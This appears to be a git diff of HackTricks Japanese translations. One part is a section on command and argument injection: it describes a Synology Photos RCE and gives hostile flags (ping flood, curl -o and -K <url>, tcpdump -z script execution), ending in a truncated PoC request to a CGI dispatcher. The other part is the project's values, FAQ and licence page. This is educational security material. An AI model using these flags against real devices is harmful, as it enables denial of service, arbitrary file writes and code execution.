Real-world case: *Synology Photos* ≤ 1.7.0-0794 は、認証なしの WebSocket イベントを介して攻撃者制御のデータが `id_user` に配置され、その値が後で `exec()` 呼び出しに埋め込まれて RCE を達成した(Pwn2Own Ireland 2024)。
|
||||
|
||||
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
|
||||
|
||||
Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.
|
||||
すべてのインジェクションが shell のメタ文字を必要とするわけではありません。アプリケーションが未検証の文字列をシステムユーティリティへの引数として渡す場合(`execve`/`execFile` を使いシェルを介さない場合でも)、多くのプログラムは先頭が `-` または `--` で始まる引数をオプションとして解釈します。これにより攻撃者はシェルに入ることなくモードを切り替えたり、出力先を変更したり、危険な動作を引き起こしたりできます。
|
||||
|
||||
典型的な発生箇所:
|
||||
Typical places where this appears:
|
||||
|
||||
- Embedded web UIs/CGI handlers that build commands like `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
|
||||
- Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` with a selector parameter like `topicurl=<handler>`) where multiple handlers reuse the same weak validator.
|
||||
- Embedded web UIs/CGI handlers が `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>` のようなコマンドを組み立てる場合。
|
||||
- Centralized CGI routers(例: `/cgi-bin/<something>.cgi` で `topicurl=<handler>` のようなセレクタパラメータを使う場合)で、複数のハンドラが同じ弱いバリデータを再利用しているケース。
|
||||
|
||||
試してみること:
|
||||
What to try:
|
||||
|
||||
- 下流のツールにフラグとして解釈されるよう、`-`/`--` で始まる値を渡す。
|
||||
- 振る舞いを変えたりファイルを書き込んだりするフラグを悪用する。例えば:
|
||||
- `ping`: `-f`/`-c 100000` でデバイスに負荷をかける (DoS)
|
||||
- `curl`: `-o /tmp/x` で任意パスに書き出す、`-K <url>` で攻撃者制御の設定を読み込む
|
||||
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` で unsafe wrapper におけるローテート後の実行を狙う
|
||||
- プログラムがオプション終端の `--` をサポートしている場合、誤った位置に `--` を前置するような安易な対策を回避できないか試す。
|
||||
- ダウンストリームのツールがフラグとして解釈するように、先頭が `-`/`--` で始まる値を与える。
|
||||
- 動作を変えたりファイルを書き出したりするフラグを悪用する。例えば:
|
||||
- `ping`: `-f`/`-c 100000` でデバイスに負荷をかける(DoS)
|
||||
- `curl`: `-o /tmp/x` で任意パスに書き込み、`-K <url>` で攻撃者制御の設定を読み込ませる
|
||||
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` でローテート後に実行されることを狙う(unsafe wrappers の場合)
|
||||
- プログラムが `--` による end-of-options をサポートしている場合、誤った場所に `--` を前置するようなナイーブな緩和策を回避できないか試す。
|
||||
|
||||
centralized CGI dispatchers に対する一般的な PoC の形:
|
||||
Generic PoC shapes against centralized CGI dispatchers:
|
||||
```
|
||||
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -1,39 +1,39 @@
|
||||
# HackTricksの価値観とFAQ
|
||||
# HackTricks の価値観とFAQ
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## HackTricksの価値観
|
||||
## HackTricks の価値観
|
||||
|
||||
> [!TIP]
|
||||
> これらは**HackTricksプロジェクトの価値観**です:
|
||||
> これは **HackTricks プロジェクト** の価値観です:
|
||||
>
|
||||
> - インターネット上の**すべての人**に**無料**で**教育的な hacking**リソースを提供する。
|
||||
> - Hackingは学びであり、学びは可能な限り無料であるべきです。
|
||||
> - この本の目的は包括的な**教育的リソース**として機能することです。
|
||||
> - コミュニティが公開する素晴らしい**hacking**テクニックを**保存**し、**元の著者**にすべての**クレジット**を与える。
|
||||
> - **他人からクレジットを得たいわけではありません**。全員のためにかっこいいトリックを保存したいだけです。
|
||||
> - HackTricksでは**独自の調査**も執筆しています。
|
||||
> - 場合によっては、テクニックの重要な部分をHackTricksに**要約**して書き、詳細については**読者に元の投稿を参照することを推奨**します。
|
||||
> - 本に掲載されるすべてのhackingテクニックを**整理**して、より**アクセスしやすく**する。
|
||||
> - HackTricksチームは、ユーザが**より早く学べるように**コンテンツを整理することだけに何千時間も無償で費やしています。
|
||||
> - インターネットの**ALL**に**FREE**で**EDUCATIONAL hacking**リソースへのアクセスを提供する。
|
||||
> - Hacking は学びが中心であり、学びは可能な限り無料であるべきです。
|
||||
> - この本の目的は包括的な**educational resource**として役立つことです。
|
||||
> - コミュニティが公開する素晴らしい**hacking**テクニックを**STORE**し、**ORIGINAL** **AUTHORS**にすべての**credits**を与える。
|
||||
> - **We don't want the credit from other people**, 私たちはただ皆のためにクールなトリックを保存したいだけです。
|
||||
> - HackTricks では**our own researches**も執筆します。
|
||||
> - 多くの場合、テクニックの重要な部分を HackTricks に**in HackTricks a summary of the important parts**としてまとめ、詳細に関しては**encourage the lector to visit the original post**します。
|
||||
> - 本書のすべての**hacking**テクニックを**ORGANIZE**して、より**MORE ACCESSIBLE**にする。
|
||||
> - HackTricks チームは、コンテンツを整理するためだけに何千時間もの無償作業を捧げており、人々が**learn faster**できるようにしています。
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
## HackTricks FAQ
|
||||
## HackTricks よくある質問
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **これらのリソースを本当にありがとうございます。どのように感謝すればよいですか?**
|
||||
> - **これらのリソースを提供してくれて本当にありがとうございます。どう感謝を伝えればよいですか?**
|
||||
|
||||
You can publicly thanks HackTricks teams for putting together all these resources publicly in a tweet mentioning [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
If you are specially grateful you can also [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
|
||||
And don't forget to **give a star in the Github projects!** (Find the links below).
|
||||
これらすべてのリソースを公開してまとめてくれた HackTricks チームに公開で感謝を示すには、[**@hacktricks_live**](https://twitter.com/hacktricks_live) をメンションしたツイートをしてください。\
|
||||
特に感謝している場合は、[**sponsor the project here**](https://github.com/sponsors/carlospolop)することもできます。\
|
||||
そして **give a star in the Github projects!** を忘れないでください!(リンクは下にあります)。
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **プロジェクトにどう貢献できますか?**
|
||||
> - **プロジェクトにどのように貢献できますか?**
|
||||
|
||||
コミュニティと**新しいtipsやtricksを共有したり、本で見つけたバグを修正したり**するには、該当するGithubページに**Pull Request**を送ってください:
|
||||
本の中で見つけた**share new tips and tricks with the community or fix bugs**を共有したり、バグを修正したりするには、該当する Github ページに**Pull Request**を送ってください:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
@ -42,16 +42,16 @@ Don't forget to **give a star in the Github projects!**
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **HackTricksのコンテンツをコピーして自分のブログに掲載してもいいですか?**
|
||||
> - **HackTricksから一部のコンテンツをコピーして自分のブログに掲載してもいいですか?**
|
||||
|
||||
はい、可能です。ただし、**コンテンツを取得した具体的なリンクを明記する**ことを忘れないでください。
|
||||
はい、可能です。ただし、コンテンツを取得した**don't forget to mention the specific link(s)**を必ず記載してください。
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **HackTricksのページをどう引用できますか?**
|
||||
> - **HackTricks のページをどのように参照できますか?**
|
||||
|
||||
情報を取得したページのリンクが表示されていればそれで十分です.\
|
||||
If you need a bibtex you can use something like:
|
||||
情報を取得したページ**の**リンクが表示されていればそれで十分です。\
|
||||
bibtex が必要な場合は、次のようにできます:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
```
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Can I copy all HackTricks in my blog?**
|
||||
> - **ブログにHackTricksの全内容をコピーしてもいいですか?**
|
||||
|
||||
**控えていただきたいです**。それは**誰の利益にもなりません**。なぜなら**コンテンツは既に公式のHackTricks本で無料で公開されている**からです。
|
||||
**できればやめてください**。誰にも利益をもたらしません。すべての**コンテンツは公式のHackTricksの書籍で既に無料で公開されています**。
|
||||
|
||||
もしそれが消えることを心配しているなら、Githubでforkするかダウンロードしてください。繰り返しますが、既に無料です。
|
||||
もし消えることを心配しているなら、Githubでforkするかダウンロードしてください。繰り返しますが、既に無料です。
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
|
||||
> - **なぜスポンサーがいるのですか?HackTricksの書籍は商用目的ですか?**
|
||||
|
||||
最初の **HackTricks** の **価値** は、世界中の **ALL** の人々に **FREE** の hacking 教育リソースを提供することです。HackTricksチームはこのコンテンツを提供するために **何千時間もの時間を捧げており**、繰り返しますが **FREE** です。
|
||||
第一のHackTricksの**価値**は、世界中の**すべての人**に**無料の**ハッキング教育リソースを提供することです。HackTricksチームはこのコンテンツを提供するために**何千時間も**を費やしており、繰り返しますが**無料**です。
|
||||
|
||||
もしHackTricksの本が **commercial purposes** のために作られていると思うなら、それは **完全に間違いです**。
|
||||
もしHackTricksの書籍が**商業目的**で作られていると思うなら、それは**完全に間違い**です。
|
||||
|
||||
スポンサーがいるのは、すべてのコンテンツがFREEであっても、コミュニティが我々の仕事を評価したい場合にその機会を**提供したい**からです。したがって、人々にはHackTricksへ寄付するオプションとして[**Github sponsors**](https://github.com/sponsors/carlospolop)を提供し、**relevant cybersecurity companies** にHackTricksをスポンサーしてもらい、本には**ads**を配置することがあります。広告は常に学習の妨げにならないよう、**visible** な場所に配置しています。
|
||||
すべてのコンテンツが無料であっても、我々の仕事を評価したいと考えるコミュニティの方々にその機会を提供したいため、スポンサーを受け入れています。そのため、[**Github sponsors**](https://github.com/sponsors/carlospolop)を通じてHackTricksへの寄付オプションを提供し、関連するサイバーセキュリティ企業にHackTricksをスポンサーしていただき、書籍内にいくつかの広告を掲載しています。広告は常に目に付きやすい場所に配置しますが、コンテンツに集中して学習する際の妨げにならないようにしています。
|
||||
|
||||
HackTricksは商用目的で作られていないため、コンテンツ量がはるかに少ない他のブログのような迷惑な広告で埋め尽くされていることはありません。
|
||||
HackTricksは商業目的で作られていないため、コンテンツ量がはるかに少ない他のブログのように煩わしい広告で埋められていることはありません。
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
|
||||
> - **HackTricksのページが私のブログ記事をベースにしているが参照がない場合はどうすればよいですか?**
|
||||
|
||||
**大変申し訳ありません。こんなことが起こるべきではありませんでした**。Github issues、Twitter、Discord... 等で、該当するHackTricksページのリンクとあなたのブログのリンクをお知らせください。**確認してできるだけ早く追加します**。
|
||||
**大変申し訳ありません。これはあってはならないことです。** Github issues、Twitter、Discordなどで該当するHackTricksページのリンクとあなたのブログのリンクを教えてください。確認してできるだけ早く参照を追加します。
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
|
||||
> - **HackTricksに私のブログのコンテンツがあり、それを掲載されたくない場合はどうすればよいですか?**
|
||||
|
||||
HackTricksにあなたのページへのリンクがあることは次の点で有益であることにご注意ください:
|
||||
HackTricksにあなたのページへのリンクがあることにより:
|
||||
|
||||
- Improve your **SEO**
|
||||
- コンテンツは**15以上の言語に翻訳され**、より多くの人がその内容にアクセスできるようになります
|
||||
- **HackTricksは**人々に**あなたのページを確認する**ことを奨励します(いくつかの方から、彼らのページがHackTricksに掲載されて以来アクセスが増えたと報告を受けています)
|
||||
- あなたの**SEO**が向上します
|
||||
- コンテンツは**15以上の言語**に翻訳され、より多くの人がアクセスできるようになります
|
||||
- **HackTricksは**人々にあなたのページを確認するよう促します(複数の方から、彼らのページがHackTricksに掲載されて以来訪問者が増えたと報告されています)
|
||||
|
||||
それでもあなたのブログのコンテンツをHackTricksから削除してほしい場合は、お知らせください。私たちは確実に**あなたのブログへのすべてのリンクを削除**し、それに基づくすべてのコンテンツを削除します。
|
||||
それでもHackTricksからあなたのブログのコンテンツを削除したい場合は、お知らせください。あなたのブログへのすべてのリンクおよびそれに基づくコンテンツを確実に削除します。
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **What should I do if I find copy-pasted content in HackTricks?**
|
||||
> - **HackTricksでコピペされたコンテンツを見つけた場合はどうすればよいですか?**
|
||||
|
||||
私たちは常に**元の著者にすべてのクレジットを与えます**。もし出典が示されていないコピー&ペーストされたコンテンツを見つけた場合はお知らせください。私たちはそれを**削除する**か、**テキストの前にリンクを追加する**か、あるいは**リンクを付けて書き直す**いずれかの対応を行います。
|
||||
我々は常に原著作者に**全てのクレジットを与えます**。参照元が示されていないコピペされたコンテンツのページを見つけた場合はお知らせください。該当箇所を**削除する**か、**テキストの前にリンクを追加する**か、**リンクを追加して書き直す**かのいずれかで対応します。
|
||||
|
||||
## ライセンス
|
||||
|
||||
Copyright © 特に明記されていない限り、すべての権利を保有します。
|
||||
著作権 © 特に明記されていない限り全著作権所有。
|
||||
|
||||
#### ライセンス概要:
|
||||
|
||||
- Attribution: あなたは以下を行うことができます:
|
||||
- Share — 資料をあらゆる媒体やフォーマットでコピーおよび再配布すること。
|
||||
- Adapt — 資料をリミックス、変換、基にして構築すること。
|
||||
- 帰属表示: 次のことが許可されています:
|
||||
- Share — 素材をあらゆる媒体や形式で複製および再配布できます。
|
||||
- Adapt — 素材をリミックス、変換、または基にして構築できます。
|
||||
|
||||
#### 追加条件:
|
||||
|
||||
- Third-Party Content: このブログ/本の一部には、他のブログや出版物からの抜粋など、他のソースからのコンテンツが含まれる場合があります。そのようなコンテンツの使用は、フェアユースの原則に基づくか、該当する著作権保有者からの明示的な許可のもとで行われています。サードパーティのコンテンツに関する具体的なライセンス情報は元のソースを参照してください。
|
||||
- Authorship: HackTricksによって作成されたオリジナルのコンテンツは本ライセンスの対象となります。共有または改変する際は、この作品を著者に帰属させることを推奨します。
|
||||
- 第三者コンテンツ: このブログ/書籍の一部は、他のブログや出版物からの引用など、他のソースのコンテンツを含む場合があります。そのようなコンテンツの使用は、フェアユースの原則に基づくか、該当する著作権保有者からの明示的な許可のもとで行われています。第三者コンテンツに関する具体的なライセンス情報は、元のソースを参照してください。
|
||||
- 著作: HackTricksが作成したオリジナルのコンテンツはこのライセンスの条件に従います。共有や改変の際にはこの作品を作者に帰属させることを推奨します。
|
||||
|
||||
#### 免除事項:
|
||||
#### 例外事項:
|
||||
|
||||
- Commercial Use: 本コンテンツの商用利用に関するお問い合わせはご連絡ください。
|
||||
- 商用利用: 本コンテンツの商用利用についての問い合わせはお問い合わせください。
|
||||
|
||||
このライセンスは、コンテンツに関連する商標やブランディング権を付与するものではありません。本ブログ/本に掲載されているすべての商標およびブランディングは、それぞれの所有者に帰属します。
|
||||
このライセンスはコンテンツに関連する商標やブランディング権を付与するものではありません。本ブログ/書籍に掲載されているすべての商標およびブランドは、それぞれの所有者の財産です。
|
||||
|
||||
**HackTricksにアクセスまたは使用することで、あなたはこのライセンスの条件に従うことに同意したものとみなされます。これらの条件に同意しない場合は、このウェブサイトにアクセスしないでください。**
|
||||
**HackTricksにアクセスまたは利用することで、あなたはこのライセンスの条件に従うことに同意したものとみなされます。これらの条件に同意しない場合は、サイトにアクセスしないでください。**
|
||||
|
||||
## **免責事項**
|
||||
|
||||
> [!CAUTION]
|
||||
> この本『HackTricks』は教育および情報提供のみを目的としています。本書の内容は「現状のまま」提供されており、著者および出版社は、本書に含まれる情報、製品、サービス、関連図表の完全性、正確性、信頼性、適合性、または入手可能性について、明示または黙示のいかなる保証も行いません。したがって、これらの情報に依存する場合は、そのリスクはすべて利用者自身が負うものとします。
|
||||
> 本書「HackTricks」は教育的・情報提供目的のみを意図しています。本書の内容は「現状のまま」提供されており、著者および出版社はいかなる種類の明示的または黙示的な保証(完全性、正確性、信頼性、適合性、入手可能性等)を行いません。本書に含まれる情報、製品、サービス、関連グラフィックについてそれらが完全であるとか正確であるとか利用に適しているといった保証はありません。したがって、これらの情報に依拠する場合、その責任は全て利用者自身にあります。
|
||||
>
|
||||
> 著者および出版社は、いかなる場合においても、間接的または結果的損害を含むいかなる損失や損害、またはデータや利益の損失に起因する損害について責任を負いません。
|
||||
> 著者および出版社は、間接的または結果的損害を含むいかなる損失や損害、またはデータ損失や利益損失に起因するいかなる損失や損害についても一切責任を負いません。
|
||||
>
|
||||
> さらに、本書で説明されている手法やヒントは教育および情報提供の目的で提供されており、違法または悪意のある活動に使用されるべきではありません。著者および出版社は違法または非倫理的な活動を容認または支持するものではなく、本書に含まれる情報の使用は利用者自身の責任と判断において行われるべきです。
|
||||
> さらに、本書で説明されている技術やヒントは教育的・情報提供目的のみで提供されており、違法または悪意のある活動に使用してはなりません。著者および出版社は違法または非倫理的な活動を容認または支持するものではなく、本書に含まれる情報の使用は利用者自身の責任と判断に委ねられます。
|
||||
>
|
||||
> 本書に含まれる情報に基づいて行われた行為についての責任は利用者自身にあり、記載された技術やヒントを実装する際は常に専門家の助言や支援を求めるべきです。
|
||||
> 利用者は本書に含まれる情報に基づいて行った行為について単独で責任を負い、本書に記載された技術やヒントを実行する際は常に専門家の助言や支援を求めるべきです。
|
||||
>
|
||||
> 本書を使用することにより、利用者は本書の著者および出版社を、使用に起因または関連して生じるいかなる損害、損失、または害についても一切の責任および義務から免除することに同意したものとみなされます。
|
||||
> 本書を使用することにより、利用者は本書または本書に含まれる情報の使用から生じる可能性のある損害、損失、または害について、著者および出版社をすべての責任から免除することに同意したものとします。
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user